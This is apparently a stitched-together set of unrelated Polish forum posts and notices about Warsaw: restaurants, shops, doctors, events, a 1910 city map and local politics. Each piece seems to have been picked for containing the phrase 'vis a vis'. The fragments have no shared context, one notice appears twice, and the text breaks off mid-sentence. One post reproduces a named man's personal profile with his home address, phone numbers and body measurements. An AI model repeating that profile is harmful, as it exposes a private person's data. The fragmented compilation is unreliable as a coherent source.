Snajper umiesz liczyc?
1996 r. powstał Międzynarodowy Zespół ds. Tworzenia Muzeum, pod kierownictwem
Jeshayahu Weinberga, twórcy i byłego dyrektora Muzeów Diaspory i Holokaustu w
Waszyngtonie, z udziałem m.in. Israela Gutmana, Grażyny Pawlak i Jerzego
Halbersztadta. Rok później Gmina Warszawa-Centrum przekazała na rzecz muzeum 13
tys. metrów kwadratowych gruntu vis a vis pomnika Bohaterów Getta. Wartość
działki to ok. 10 mln. dolarów. W 1999 r. powstała Rada Muzeum, pod
przewodnictwem Mariana Turskiego, Przewodniczącego Zarządu Stowarzyszenia
Żydowskiego Instytutu Historycznego. Rok później rozpoczęło się tworzenie
multimedialnej koncepcji wystawy stałej, we współpracy ze znaną londyńską firmą
Event Communications, twórcami m.in. Muzeum Bitwy pod Ypres w Belgii ....

Otoz koszt domu 11 milionow zlotych plus koszty adaptacji i to za drogo.Jeszcze
sie radni zastanawiaja.

A tutaj prosze.
13tys metrow kwadratowych ,wartosc dzialki 10 milionow dolarow.

I juz Gmina Centrum grzecznie przekazala.

· 

XLVIII Ogólnopolski Konkurs Recytatorski
XLVIII OGÓLNOPOLSKI KONKURS RECYTATORSKI

Dom Kultury Śródmieście zawiadamia,
że dnia 5 kwietnia 2003 r.,
w godzinach 10:00 – 16:00,
w Sali Teatralnej przy ul. Smolnej 9
(wejście od Alej Jerozolimskich, vis -a -vis Muzeum Narodowego), odbędą się
przesłuchania na szczeblu gminnym dla wszystkich zainteresowanych:
• uczniów szkół ponadgimnazjalnych,
• studentów
• osób dorosłych.

Karty zgłoszeń należy nadsyłać
do końca marca na adres:
Klub Kultury ul. Marszałkowska 19,
00-628 Warszawa
tel. (0-@@) 825-78-00

Odnoszę wrażenie, że wydawanie takich przewodników o jakich mowa w artykule
jest zajęciem jałowym. Przecież nawet jeżeli teraz modne są na przykład spodnie
w ciapki, Minikupery i brejkdens, to biorąc pod uwagę czas potrzebny na
zebranie, opracowanie i opublikowanie informacji na ten temat, w chwili gdy
książka ukaże się na rynku (np. za sześć miesięcy) będą one zupełnie
przestarzałe. Taki Holender kupi sobie przewodnik, przyjedzie do Warszawy jak
do siebie, Nissanem Mikrą oczywiście, w japonkach i bluzie Arkadiusa, wstąpi
do "Szparki" na kozie naleśniki, a tu nagle okaże się, że w tym sezonie
najmodniejsza już jest "Szpionka", chodzi się w drewniakach i kamizelkach
ratunkowych, a kultowym samochodem został Polonez Caro. I jaki obciach; a to
wszystko przez pozbawionych wyobraźni wydawców. Swoją drogą, to założenie, że
Warszawa ma koloryt lokalny, którego pozbawiona jest czeska Praga jest zaiste
niebanalne.
A tak na marginesie Wsciekłego Psa, to szarlotki, Panie Redaktorze, nie
wymyslono w stolicy w okresie transformacji. Formułę stworzył osobiście sam śp.
Piotr Skrzynecki, w połowie lat sześćdziesiątych, w kawiarni Vis-a-vis przy
Rynku Głównym 29 w Krakowie, co wiem od naocznego świadka owego wiekopomnego
wydarzenia. Ręce precz od naszych regionalnych wynalazków!
Pzdr ;-)

Mecze siatkówki w nowej hali
17 września (piątek) mecze będą się odbywały w Działdowie - hala sportowa
przy Gimnazjum nr 2, natomiast na ostatnie dwa dni zespoły przeniosą się do
Olsztyna - hala w Kortowie.

W turnieju udział wezmą następujące zespoły:
Dukla Liberec (wicemistrz Czech)
vis
Skra Bełchatów
30 minut po zakończeniu spotkania
AZS Politechnika Warszawa
vis
PZU AZS Olsztyn (wicemistrz Polski)

P.S. Informacja skopiowana ze strony www.dzialdowo.com.pl

· 

Dzięki, Kasiu. W Maszoperii, hmmm, przeżyłam szanty przy świecach, z trzymaniem
się za rękę, z widokami na to, co potem nie nastąpiło... Ej, bywało.
Co do Grudnia. Pamiętam nocny łomot czołgów (a mieszkałam w Dolnym Sopocie)
przemieszczających się do Gdyni ul. 20 Października (Niepodległości teraz?). I
radia, ktore nie działały. I prywatnego Sylwestra vis a vis kina Warszawa w
Gdyni na Świętojańskiej...

Owszem, były wieczorowe knajpy ze stripteasem, jedynym w
ze wszystkich KDLi.
Osobiście bywałam w Krokodylu. gdzie był dancing i strip. i widziałam
na własne oczy. Tylko że te babki były strasznie chude.
Nie przysięgnę, ale możliwe, że był też strip. w rest. hotelu Warszawa
na pl.Powstańców.
I pamiętam też lokal z dancingiem na vis a vis KC.Zapomniałam natomiast,
jak się nazywał, choć odbył się tam bal maturalny mojej klasy.

Grupa izraelsko-holenderskich firm u zbiegu Grzybowskiej i Wroniej za ponad 50
mln dol. zbuduje pięciogwiazdkowy hotel Hilton, centrum konferencyjne i
rekreacyjne
czytaj dalej »
r e k l a m a

Budowa potrwa 30 miesięcy i pochłonie ponad 50 mln dol. Hilton będzie tylko
trochę niższy niż hotel Forum, bo 90-metrowy.

- Złożyliśmy już wniosek o pozwolenie na budowę - zdradził "Gazecie" Jerzy
Sułek, prezes spółki Grzybowska-Centrum.

Na razie okolica pięciogwiazdkowej inwestycji o nazwie Hilton Plaza jest
zaniedbana. Przy Wroniej mieszczą się wojskowe zakłady graficzne, vis-a-vis
działają Browary Warszawskie. Ale w pobliżu stoi już centrala Pekao SA i
okazały budynek spółdzielni Dembud. "Dziki Zachód" cywilizuje się z roku na
rok, podobnie jak i cała Warszawa.

- Okolica ulegnie dalszym zmianom. Wystarczy uruchomić wyobraźnię. Hilton to
wymusi. Naturalnie Grzybowska zostanie poszerzona - zapewnia prezes Sułek.

Twierdzi, że lokalizacja hotelu jest znakomita. Do zalet zalicza m.in. drogę z
lotniska Okęcie. - Jedzie się cały czas prosto, przed siebie. A wysoki budynek
z neonem będzie widać z daleka. Łatwo trafić - mówi.

Przy Hiltonie znajdzie się duże centrum konferencyjne na 1200 osób oraz zespół
odnowy biologicznej z basenem i klubem fitness. Grupa izraelsko-holenderskich
firm planuje też obok budowę biurowca oraz budynków apartamentowych ze sklepami
w przyziemiu.

A ile dałoby się wziąć w łapę sprzedając Łazienki?
Jeśli celem jest wzięcie w łapę za zezwolenie na sprzedaż terenów
zielonych pod zabudowę, to więcej da się zarobić sprzedając pod
biurowce Park Łazienkowski (na przykład okolice pommnila Szopena,
vis a vis Kancelarii Prezesa Rady Ministrów), bez potrzeby
budowania tuneli.

Te 200 milionów Warszawa już straciła, gdy łapówkarze z
poprzednich władz Gminy Centrum postanowili wydać te je na
przygotowanie terenu dla kolejnych biurowców Dembudu. Tyle, że
jest to teren miejskiej zieleni i nie da się go uczciwie zabudować.

Koncerty w Mózgu !!
A wszystko to w Bydgoszczy w klubie muzycznym Mózg (www.mozg.pl)

09.16 most precious blood (nowy york) koncert (hard core)
09.18. trawnik (warszawa) koncert
09.25. the hub (nowy york) koncert
10.01. jojo mayer (nowy york) & miloopa (wrocław) koncert
10.02. stasio z zabrza (zabrze) koncert
10.03. uroczyste otwarcie kina"mózg"-"Nóż w wodzie" reż. Roman Polański
film oraz koncert Whipping Willow
10.08. snowman & goldenboys (poznań) koncert/pokaz multimedialny
10.09 xymena jastrowska & rafał detkoś(bydgoszcz/trójmiasto) wystawa
fotografii i koncert
10.14. ramunas yaras and endlihe vis.sat (litwa) koncert - muzyka bardzo
experymentalna
10.15. cinq - g (warszawa) koncert
10.16 habakuk (częstochowa) koncert (reggae)
10.20. cool kids of death & telekommander (łódz/berlin) koncert/pokaz
multimedialny
10.22. debile (toruń) pokaz multimedialny
10.30. the ślub(bydgoszcz) urodziny kornela - koncert
11.05 kristen (szczecin) koncert
11.11. pogodno (szczecin/tychy) koncert 2 dniowy
11.12. pogodno (szczecin/tychy) koncert 2 dniowy
11.19. old time radio (gdynia) koncert

czesc
chciala bym Cie zaprosic na przejazdzke Junakiem,
wtedy bedziesz mogla zdecydowac czy taki styl jazdy (cruiser) Ci odpowiada,
p.s
jesli chodzi o junaka jest on super na szlifowanie jazdy jest lekki 135kg,
nisko zawieszony, dobrze wywazony,
zapraszam ul.szyszkowa 7 warszawa vis a vis Meble Walter
pozdrawiam
weronika

Arka
godz. 10:55 – 15:00
przystanek Stylowa, kierunek Warszawa

10:55
11:20
11:27 (M)
11:40
11:55
12:27 (M)
12:40
12:55
13:27 (M)
13:40
13:55
14:25
14:27 (M)
14:40
14:55

Legenda:
M – kurs z Mlądza; odjazd w kierunku Warszawy z przystanku na skarpie ul.
Warszawskiej, vis a vis Zakładu Energetycznego.

A rozkład Wilgi to proszę sobie w całości sciągnąć stąd:
www.psd5.home.pl/kreacjewww/trias/olpex/rozklady/srodborow_wwa.doc
Pozdrowienia!

Warszawa i nie tylko
Kurde! mieszkam tu od 4 lat i nie wiem, co Ci polecic do zwiedzania. Ja tu
nigdy nie byłem jako turysta. No bo jak? Mam ci polecic Stadion
Dziesięciolecia? hehe ale serio to obcokrajowcy jada czasami na niego. Dla nich
to ponoc atrakcja.

Z centrów handlowych to jest ich sporo, ale można polecic nowootwarte BlueCity
koło Dworca Zachodniego i znajdująca się vis a vis Centrum Reduta oraz Galerię
Mokotów na rogu Marynarskiej i Al. Wilanowskiej, bo reszta jest hm... typowa,
tzn centrum handlowe wokół jakiegoś spożywczaka. Są oczywiście te lepsze jak
Carrefour Bemowo czy Wileńska albo najsłabsze jak Tesco. Oczywiście pozostają
też sklepy w centrum i Nowy Świat.

Myśle ze spacer po starówce jest sympatyczny. W ogóle lubię starówkę. Pewnie
zwiedzanie zamku królewskiego też moge polecić. Także jak masz czas to można
zobaczyc i odpocząć w ogrodzie na dachu nowego gmachu Biblioteki Uniwersytetu
Warszawskiego.

Polecam odwiedzic forum www.skyscrapercity.com/forumdisplay.php?f=45
tam poszukaj róznych fotek dot. Warszawy, Krakowa, Gdańska, Wrocławia i róznych
innych miast.

Tak umialbym...
Poznan ma bardzo duzo cech pozytywnych w zakresie biznesu.
Daje tez duzo w zakresie sportu... I moglbym wymienic tutaj
jeszcze pare dziedzin gdzie jest to miasto "skuteczne".
Ale mowiac o Polsce...
Mowi sie Warszawa, Krakow czy Gdansk...
i nie jest to tylko, w mojej ocenie kwestia historyczna.
Wywolujac ten temat mialem na mysli brak charakteru miasta...
Samym biznesem miasto nie zyje. (Wroclaw zreszta zaraz
nas wyprzedzi chocby jak zdobedzie wczesniej, czy pozniej EXPO)
A mamy aspiracje... tyle mowimy - jaki ten Poznan jest "fajny".
To chyba w duzej mierze mitomania.
Ludzie sie do siebie duzo mniej
usmiechaja niz np. w Lodzi.
Co tak naprawde mamy do zaproponowania gosciom czy turystom???
Nasze piekne dwa koziolki, czy tez Muzeum Instrumentow Muzycznych na Starym,
gdzie przejazdem zatrzymuja sie wycieczki (swoja droga to przechodzac ze
standardowego miesjca parkingu przy Zydowskiej, natykaja sie na nieodmalowana
i brzydka Synagoge przerobiona na plywalnie i na kilku pijaczkow przy parkingu
vis a vis Jezuitow)...
Szukam dobrych cech, to moje miasto rodzinne, ale im wiecej podrozuje po Polsce,
tym wiecej mam pokory w ocenach i coraz mniej sympatii do niego czuje.

A ja właśnie przeprowadziłem autopsję terenu. Oto jej wynik: 83 Zajazd
napoleoński, 81(róg Mokrzeckiej) dość ładna kamienica piętrowa, 79 nowy, szklany
budynek (koszmarek), 77 d. szkoła, 75 kamienica Wolframa. Ale przy okazji
zainteresowały mnie vis a vis na Płowieckiej dwa domki parterowe w opłakanym
stanie. Ten ustawiony lekko ukośnie, dłuższy, akcentujący wjazd na groblę
wiodącą do wsi Las, to wydaje mi się dom d. Zarządu Wawerskiej Spółki Wodnej,
może ktoś spośród wawrzan pomógłby rozwiązać zagadkę?
Co do sprawy przejęcia d. szkoły słyszałem, że jest jakaś afera w Urzędzie
Warszawa-Wawer, ale nic więcej nie wiem. Może mieszkańcy dzielnicy, zechcieliby
przybliżyć szczegóły?
Pozdrawiam

kiedyś korzystałem z usług tej firmy:
Pracownia Ram i Oprawy Obrazów K. Kur
03-721 Warszawa Jagiellońska 11 tel 818 57 55 (obok kamienicy "Pod Sowami")
i byłem bardzo zadowolony.
Jest też świetny zakład szklarsko-ramiarski w starej części Radzymińskiej, m.w.
vis a vis wylotu Białostockiej.

I trochę jeszcze o fachurze:

Imię:
Michał

Nazwisko:
Banach

Imię ojca:
Tadeusz

Imię matki:
Genowefa

Miejsce urodzenia:
Starachowice

Rok urodzenia:
1969

Znak zodiaku:
Baran

Wzrost:
194

Waga:
140

Obwód głowy:
61

Nr. Kołnierzyka
47

Nr. Buta:
48

Obwód klatki piersiowej:
132

Obwód talii:
125

Obwód bioder:
125

Kolor włosów:
Szatyn

Kolor oczu:
piwne

Adres zamieszkania:
Zakładowa 4/6, 27-200 Starachowice

Telefon:
0 41/ 275 50 05, 0-602 777 741

Języki biegle:
Angielski

Jezyki słabo:
Rosyjski

Szkoła wyższa:
PWST Kraków

Rok ukończenia:
1992

Inna szkoła:
SGH Warszawa

Umiejętności:
prawo jazdy, pływanie, jazda konna, narty

Inne umiejętności
Sportowa jazda samochodem

Stała praca:
Radio MTM FM - Starachowice

MÓWI SIĘ MASA CIAŁA. Szkoda, że nie można załączyć zdjęć. Bardzo inteligenta
vis mimica.
Enek DZIĘKI za inspirację.
A swoją drogą nie chciałbym spotkać typa wieczorem.

Jak mniemam Marrio poszukiwał raczej lokalu w stolycy, chociaż czynił to na
forum krakowskim.
Jako warszawianin na gościnnych występach pozwolę sobie zwrócić uwagę na
'Bordo', knajpkę w samym centrum, na Chmmielnej, vis a vis kina Atlantic. Zawsze
tłoczno, atmosfera swobodna, jedzenie niedrogie, w sumie dobre, porcje spore, w
klimatach śródziemnomorza.
Niedaleko, na Zgoda, wiekowy 'Krokiecik' w nieustająco dobrej formie; niezły na
szybki obiad.
Nastrojowo powiadasz? Wstyd przyznać, ale nie wiem. Jak mam ochotę na nastrój,
to robię go w domu ;-)
A jeśli nie na jedzenie, to polecam nastrojową pijalnię czekolady Wedla na
Szpitalnej (róg Górskiego).
Jak obrzydnie ci wielkomiejski blichtr, to wpadaj na Pragę - Skład Butelek,
Saturator (obie 11 Listopada 22), W oparach absurdu (Ząbkowska).

Pzdr
M44
Warszawa subiektywnie
Forum Praskie

Warszawa, 13 września, Emerald Pub, od 18-stej
Serdecznie zapraszamy na spotkanie Forum Romantica
w dniu 13 września od godz. 18-stej
do Irish Emerald Pub, Al. Jerozoliskie 4,
vis a vis Muzeum Narodowego w Warszawie.

Jeśli liczba osób spoza Warszawy przekroczy 5 osób to stawiam
wam wszystkim (obecnym) piwo lub taniego drinka.

A jeśli wygram to będę miał satysfakcję, że ani zahedan, ani von kozna nie
mieli racji:)

No to usystematyzujmy punkty czerpalne wody oligocenskiej ;) :
ŚRÓDMIEŚCIE:
Wójtowska
Armii Ludowej
Rynek Solecki
Anielwicza
Twarda
Inflancka
Książeca (w parku róg Rozbrat)
Furmańska (woda od Prezydenta)

WOLA
Karolkowa
Al. Solidarności
Smocza
Deotymy
Majakowskiego vis a vis Hali Sportowej na Olbrachta

ŻOLIBORZ
Zajączka
Hozjusza

BIELANY
Braci Załuskich
ul. Bogusławskiego - punkt czerpalny wody ze studni przy ul. Wólczyńskiej 133
będącej własnością CEMATU’70.
ul. Broniewskiego 97/99
ul. Daniłowskiego
ul. Dzierżoniowska 7
ul. Estrady 112
ul. Gąbińska przy ul. Duracza
ul. Kasprowicza 132 - studnia i ujęcie jest własnością Arcelor Huta Warszawa
nieczynne
ul. Klaudyny 18A
ul. Kochanowskiego 10/12
ul. Lindego 20
ul. Wolumen róg ul. Dantego

pozdrowionka
Aloes

zajęcia taneczne dla dzieci
Zapraszamy dzieci od 4 roku życia na zajęcia taneczne.
Prowadzi - Maja Dubik, akompaniament - Katarzyna Glensk.
Miejsce zajęć: Sala taneczna w budynku przy
ul. Królewskiej 27 wejście B, vis a' vis Parku Saskiego w Warszawie
Zajęcia będą się odbywały w soboty w godz. od 11.oo do 12.15.
Pierwsze zajęcia 11 października (sobota).
Zainteresowanych prosimy o kontakt:
Studio Sztuki Tańca "Abakurs"
ul. Pańska 73 p. IX, 00-834 Warszawa
tel. (22) 652-35-16 fax 652-03-31
www.balet.com.pl
e-mail: abakurs@abakurs.com.pl

Katalog ursynowskiech knajpek
Ponieważ jest tego naprawdę dużo postanowiłam skatalogować nasze knajpki, tym
bardziej że często pojawiają się pytania - dokąd pójść na kawę etc. Co prawda
nawet jesli wypiszemy wszystkie i tak jutro na forum Warszawa napiszą, że
Ursynów to tylko sypialnia ;-)))) No to zaczynam:

OAZA KABACKA Wąwozowa 6
KNAJPKA PORTUGALSKA (JAKA NAZWA???) Wąwozowa 6
PASTIS Dembego 10 (od Nowoursynowskiej)
RYBERIA Surowieckiego (przy Megasamie)
SZAFRAN Lanciego
DESKA Galeria Ursynów (tam też mniejsze - Lokanta, Ramzes czy tez Faraon,
Brytyjska)
NA HUŚTAWCE Lanciego
BZIK KULINARNY Lanciego
SENTYMENT Lanciego 11
POLSKI SMAK (nie byłam - tez podobno Lanciego, ktoś zna szczegóły?)
ŁYK OPTYMIZMU Belgradzka (w pasażu)
MELANŻ Belgradzka róg Rosoła
BAR ALTERNATYWNY Szolc-Rogozińskiego (w budynku dzielnicy)
REZERWAAT na SGGW
DOLCE FAR NIENTE Wąwozowa vis a vis Tesco
STAJNIA Nowoursynowska
SPIŻARNIA MADAME Roentgena tuż przy centrum onkologii
PIZZERIA RIMINI (też tam)
NIKOZJA przy metrze Stokłosy w nowym żółtym budynku
VA BENE przy m.Stołosy dawny salon Fiata
VIS A VIS Pasaż Ursynowski
PARMA Pasaż Ursynowski
KABACZEK (jaka ta ulica się nazywa???)
ANTICH CAFE wewnątrz osiedla SMB Kabaty - na placyku z fontanną
proszę o wiecej :-)))

Reedycja planu Warszawy z 1910 roku.
W księgarni vis a vis Supersamu, tuż za przystankiem autobusowym kupiłem
sobie reedycję planu Warszawy z 1910 roku.
Mały kawałek papieru a tyle atrakcji.
Miasto wtedy było podzielone na XV Cyrkułów. I - Cyrkuł Zamkowy, II - Cyrkuł
Soborny, III - Curkuł Mostowski itp.
Wyścigi konne przy Polnej. Od Czerniakowskiej do Myśliwieckiej Agrykola
Dolna, wyżej Górna.
Do Marszałkowskiej równolegle biegną Zielna i Nowozielna. Widać wyraźnie Plac
Wolski czyli Kercelego.
Od Bagateli poprzez Aleję Belwederską, Nowy Świat, Krakowskie Przedmieście,
Miodową, Nowiniarską do Franciszkańskiej można było pojechać tramwajem.
Podobnie jak z Towarowej przez Srebrną, Twardą do Pl. Grzybowskiego i dalej
Królewską bądź Przechodnią do Senatorskiej i Placu Teatralnego. Trawaje
jezdziły też Aleją Jerozolimską. Trasy tramwajów podano na odwrocie.
Na Pradze Targowa przechodzi w Wołową do Moskiewskiej by spotkać się z
Grochowską.
No i mały opis "z tyłu" czyli cytacik.
Żegluga parowa na Wiśle.
Żegluga parowa na Wiśle od Sandomierza do Wrocławka (pisownia oryginalan)
jest dość ożywiona. Komunikacye pomiędzy Warszawą a Sandomierzem - w górę
rzeki, oraz Płockiem i Wrocławkiem - w dół, utrzymuje kilka przedsiębiorstw
żeglugowych, które mają swoje przystanie przy brzegu warszawskim, przy moście
Kierbedzia. Dojazd tramwajami 4, 5, 18 i 22 - Biuro żeglugi na Wiśle "Maurycy
Fajans" ul. Trębacka 11.
Cały plan kosztuje tylko 7,- zł. Niewiele jak na taką podróż do przeszłości.

Konkurs Recytatorski
XLVIII OGÓLNOPOLSKI KONKURS RECYTATORSKI

Dom Kultury Śródmieście zawiadamia,
że dnia 5 kwietnia 2003 r.,
w godzinach 10:00 – 16:00,
w Sali Teatralnej przy ul. Smolnej 9
(wejście od Alej Jerozolimskich, vis -a -vis Muzeum Narodowego), odbędą się
przesłuchania na szczeblu gminnym dla wszystkich zainteresowanych:
• uczniów szkół ponadgimnazjalnych,
• studentów
• osób dorosłych.

Karty zgłoszeń należy nadsyłać
do końca marca na adres:
Klub Kultury ul. Marszałkowska 19,
00-628 Warszawa
tel. 825-78-00

odór był jeszcze większy niż za Kaczyńskiego ale nastroje były lepsze
bo Piskorski chciał wywindować Warszawę do czołówki miast europejskich
a Kaczyński doprowadza ją systematycznie do gospodarczej ruiny(szczególnie
jeśli chodzi o bezmyślne cięcie wszystkich warszawskich inwestycji co jest
zupełnym "selbstmordem"(samobójstwem)vis a vis konkurencji miast typu
Budapeszt,Praga,Berlin czy Moskwa.Mam nadzieję ,że Warszawa jakoś wybroni się
od tego dziwacznego Prezydenta który nie walczy i nie dba o jej żywotne
interesy.Za Piskorskiego smród otaczał też realizowane po znajomości inwestycje
(rozdział zadań pomiedzy kolesi)

W Starej Miłosnej spróbuj najpierw w dawnym CWKS Legia:
Stowarzyszenie Szwadron Jazdy RP, 05-077 Warszawa-Wesoła, ul. Szkolna 14 tel.
773.30.67 lub:
Uczniowski Klub Sportowy LEGIA-SZWADRON, Wesoła-Stara Miłosna, ul.Szkolna 14
Adres korespondencyjny: 02-683 Warszawa, ul. Gotarda 1/77 tel. 0-602.65.58.76

Ponadto na ul. Gościniec (niestety nie znam numeru, a nie chce mi się tam
galopować :->) żyją sobie co najmniej dwa koniki, może i jeden by się zmieścił.
Trafić łatwo: jadąc od Warszawy, skręcić w prawo na pierwszych światłach, w ul.
Jana Pawła II, i po kilkudziesięciu metrach w pierwszą w lewo - ul. Gościniec;
po może stu metrach, mniej więcej vis-a-vis Straży Pożarnej, widać przez
ogrodzenie stawy, a za nimi jest stajnia.

W Wesołej-Grzybowej (a więc bliżej raczej Marysina Wawerskiego i Rembertowa)
jest Pony-Kuc CIub. Jazdy konne rekreacja, 05-075 Warszawa-Wesoła, Długa 58,
tel. 773.47.47

Dobrego, ale rozważnego kłusowania ;-)))
Stary Miłośnik

Na ul Św. Bonifacego (Warszawa, Stegny, prawie vis a vis kościoła oo.Marianów)
jest integracyjna podstawowka, zdaje się, że tam.

A tu masz link:

www.wdrodze.pl/
Pozdrawiam poświątecznie
mary_ann

Palac w miejscowosci Góra
Nie jest to miejsce stricte warszawskie, ale z Warszawa zwiazane. Niedaleko
Nowego Dworu Maz. w gminie Wielsizew znajduja sie ruiny palacu Poniatowskich,
a dlokladniej bratanka ostatniego krola Polski, ktory probowal nawet
konkurowac ze slynnymi obiadami czwartkowymi Krola Stasia-miejsce jeszcze po
Ii wojnie przypominalo palac ale obecnie to tylko resztki murow..nasza paczka
wystapila do wladajacego terenem i do Konserwatora zabytkow chociaz o zgode
na wyciecie krzakow i chwastodrzew-czeremchy itp by odslonic te resztki murow
zapraszam wna www.emka.vis.pl ale z tego co opwiadaja okoliczni
mieszkancy to...palac upatrzyli sobie zlodzieje zlomu i bezlitosnie pruja
mury szukajac zbrojen...a policja nawet wzywana nic osobom zlapanym na
goracym uczynku nie robi bo przeciez ta ruina za kilka lat sie
roz...p...pisownia oryginalna.

p.s. jak bedziecie w okolicy to zobaczcie z czego zbudowane sa niektore co
starsze budynki..ot szacunek dla zabytkowej cegly.

glowne turystyczne atrakcje Warszawy sa powszechnie znane, wiec chcialbym
polecic te rzadziej odwiedzane, ale rownie niezwykle, ukazujace piekniejsza
strone Warszawy: (kolejnosc przypadkowa, wedlug skojarzen):
1) seans w bodaj jedynym czynnym w Europie, najstarszym w Polsce
Fotoplastykonie przy Al. Jerozolimskich, niemal vis-a-vis Dworca Centralnego
2) zapierajaca dech w piersiach Aula Politechniki Warszawskiej - wielki
arkadowy dziedziniec przykryty szklanym dachem, nawiazujacy do renesansowej
architektury Palacu w Baranowie, miejsce m.in. historycznego zjazdu
zjednoczeniowego PZPR - najlepiej wieczorem
3) futurystyczna Biblioteka Uniwersytecka przy ul. Dobrej i wiadukt przy
ul. Karowej na Powislu
4) ul. Agrykola przed zapadnieciem zmroku, gdy latarnik zapala gazowe latarnie
5) Kosciol sw. Bonifacego na Czerniakowie - perla XVII wiecznej architektury
nietknieta przez wojne (podobnie jak XVIII w. kosciol ss. Wizytek przy
Krakowskim Przedmiesciu - "lektura obowiazkowa"!)
6) Kosciol pokamedulski na Bielanach - piekna swiatynia z XVII-XVIII w. nad
Wisla w srodku lasu z nastrojowa kawiarenka w klasztornych kryptach

Przede wszystkim warto tez odwiedzic niedawno otwarte Muzeum Powstania
Warszawskiego na Woli oraz dwie niecodzienne wystawy arcydziel swiatowej klasy -
"Warszawa Moskwa" w Zachecie oraz "Transalpinum" w Muzeum Narodowym.
Milych wrazen!

Łeb do interesu
Jordan. Ten to miał łeb do interesu! Zyski z restauracji przy Krakowskim Przedmieściu były na tyle obiecujące, że w końcu lat 30. uruchomił filię >Simona i Steckiego< przy Widok 25. Firma działał w czasie okupacji, o czym wiemy już z felietonu.

Właściciel przeżył wojnę i powrócił do Warszawy, ale kamienica przy Krakowskim Przedmieściu leżała w gruzach. W lepszym stanie był obok stojący dom „Kuriera Warszawskiego”, w którym już wcześniej ktoś uruchomił knajpę. Jordan nie dał za wygraną. W 1946 r. wspólnie z niejakim Trzcińskim przejął lokal w ocalałym domu Zdziechowskiego (rodzina skoligacona z Sapiehami) przy Nowogrodzkiej 12 i kupił restaurację „Dziedzilla” w domu przy Marszałkowskiej 66 róg Wilczej. Rozkręcił tu interes niesamowicie. Lokal przez wiele lat znała cała Warszawa. W domu przy Krakowskim Przedmieściu 5 (vis a vis Uniwerku) uruchomił dla swej córki lokal z wyszynkiem.
Tymczasem zbliżały się ciężkie czasy dla inicjatywy prywatnej. Państwo przejmowało restauracje, sklepy i fabryki. Właściciele restauracji mogli najwyżej zostać zatrudnieni w swych lokalach jako kelnerzy lub szatniarze. Jordan nie dał rady komunie. Do takich reguł gry nie był przygotowany. W połowie 1950 roku „Dziedzillę” zabrało państwo. Już teraz były właściciel pracował w niej jeszcze rok, ale rozkręcona restauracja dalej funkcjonowała na wysokich obrotach. Bar przy Nowogrodzkiej 12 przemianowano na wykwintną jadłodajnię.

Kto pamięta jak się ów bar nazywał i do kiedy obydwa lokale funkcjonowały?
Pozdrawiam :-)

I jeszcze doc. Janusz Bronarski , ordynator ortopedii Szpitala Przmienienie
Panskiego w Warszawie /vis a vis misiow obok ZOO/, na konsultacje zapisy tel582
94 55 /42, lecznica Gromada Medica , Pl. Powstancow Warszawy 2/Dom Chlopa/

A czy sprawdzilas opinie na ten temat dr Niesłuchowskiego: Vigor , Ul.
Białobrzeska 57,Warszawa, tel. 659 88 32, ale to sa metody nieoperacyjne, wiec
pewnie Cie nie interesuja, skoro zdecydowalas sie na operacje. Pozdrawiam

www1.gazeta.pl/warszawa/1,42507,1706139.html
Nie jest tak słodko - napadają wszędzie - szkoda tylko, że przy aprobacie
kilkudziesięciu osób! Kiedyś w podbnych sytuacjach kierowca zabierał wszystkich
na komisariat na Chodeckeij - miszkałem kilka lat vis-a-vis i wiele takich
akcji widziałem.

Ja byłam tylko w H&M (kupiłam spodnie) i M jak Mama na Kasprzaka nr chyba 24,
jest po tej stronie co teatr na Woli.
Ale mam kilka adresów sklepów, które poniżej:

WARSZAWA9 MIESIĘCYul Grochowska 230 (przy Rondzie Wiatraczna)pn.-pt. 11-19,
sob. 10-14tel. (022) 813-93-25 9 MIESIĘCYul. Pasaż Ursynowski 1(przy Metrze
Stokłosy)pn.-pt. 11-19, sob. 10-14tel. (022) 648-96-71

WARSZAWA9 MIESIĘCYul. Wrocławska 7E(vis a vis ZUSu, Bemowo)pn.-pt. 11-19, sob.
10-14tel. (022) 638-81-34 AGNESUl. Nowowiejska 7(przy metrze Politechnika)
pn.-pt. 11-19, sob. 10-14tel. 022 825 17 94

WARSZAWA9 MIESIĘCYal. K.E.N 11 lokal G(przy stacji Metro Kabaty)Ursynówpn.-pt.
11-19, sob. 10-14tel. (0-22) 446-76-51

WARSZAWA:
SuperMAMA
ul. Solec 81b,
(CH pod arkadami mostu Poniatowskiego
I piętro, pawilon A-58,
telefon 22 3213741
www.supermama.pl

WARSZAWA:
"Kangurek"
hipermarket TESCO
ul. Połczyńska 121/125

sklep: "BRZDĄC"
ul.Mehoffera 68 B

lekarz
agula, w warszawie moge polecic dr jagodę. ma bardzo dobra renome,
wiem ze niejedno dziecko juz wyprowadzil na prosta. przyjmuje
prywatnie. podaje namiary:www.inst-
zdrowia.vis.pl/poradnia.htm?id=18
Pan dr. Bonifacy Jagoda
Prywatny Instytut Zdrowia i Urody
02-957 Warszawa, ul. Jana Sobieskiego 18
Tel. 651-66-86, 651-66-87, 842-43-30

na kopernika w porani preluksacyjnej polecam dr ładę. ale terminy sa
dlugie.
powodzenia.
tak jak mowi exylia - grunt to jak anjszybciej trafic do dobrego
lekarza.

Miałam operację laparoskopową 10lat temu i jakby problemy związane z
endometriozą przycichły.
Polecam dr. Kuracha, ul Polna (Warszawa, vis a'vis liceum Czackiego) - on po
moich 2 latach leczenia "zapalenia przydatków" przez innych, poleconych
lekarzy, znalazł właściwą przyczynę.
Pozdrawiam,
Ewa

Targ w grodzisku zwany "świętem dyszla" odbywa się tradycyjnie w środy od
wczesnych godzin porannych na targowisku miejskim przy ul. Montwiłła (za
cmentarzem, vis a vis basenu). Dojazd kolejką WKD (stacja Radońska), autem
(skrzyżowanie z ul. Sienkiewicza, trasa Warszawa-Żyrardów)i pociągiem (z dworca
należy iść ul. Kościuszki do wspomnianego skrzyżowania i dalej wzdłuż muru
cmentarnego). Można też dostać się tam pieszo lub rowerkiem. A ta ładna długa
ulica, deptak powiedzmy, nosi nazwę 11 listopada. Tyle o topografii, o tym, co
mozna na targu kupić, napiszą dziewczyny. I jeszcze jedno - targ, nazywany dla
odróżnienia rynkiem, taki mięsno-nabiałowo-warzywny odbywa się też w soboty
(reszta bez zmian). Udanych zakupów!

Odkryłam całkiem smaczną pizzę (W-wa)
i spieszę sie dzielic radosną wieścią :)
Warszawa Bródno.. tylko ulicy nie pamiętam.. vis a cis Ratusza, nowy wysoki
budynek.. na parterze - obok cukierni miesci sie mini lokalik prowadzony
przez Włocha. Bella Napoli sie nazywa
Pizza jest cienka i chrupiąca. Nie szaleją ze składnikami (choc jest pizza z
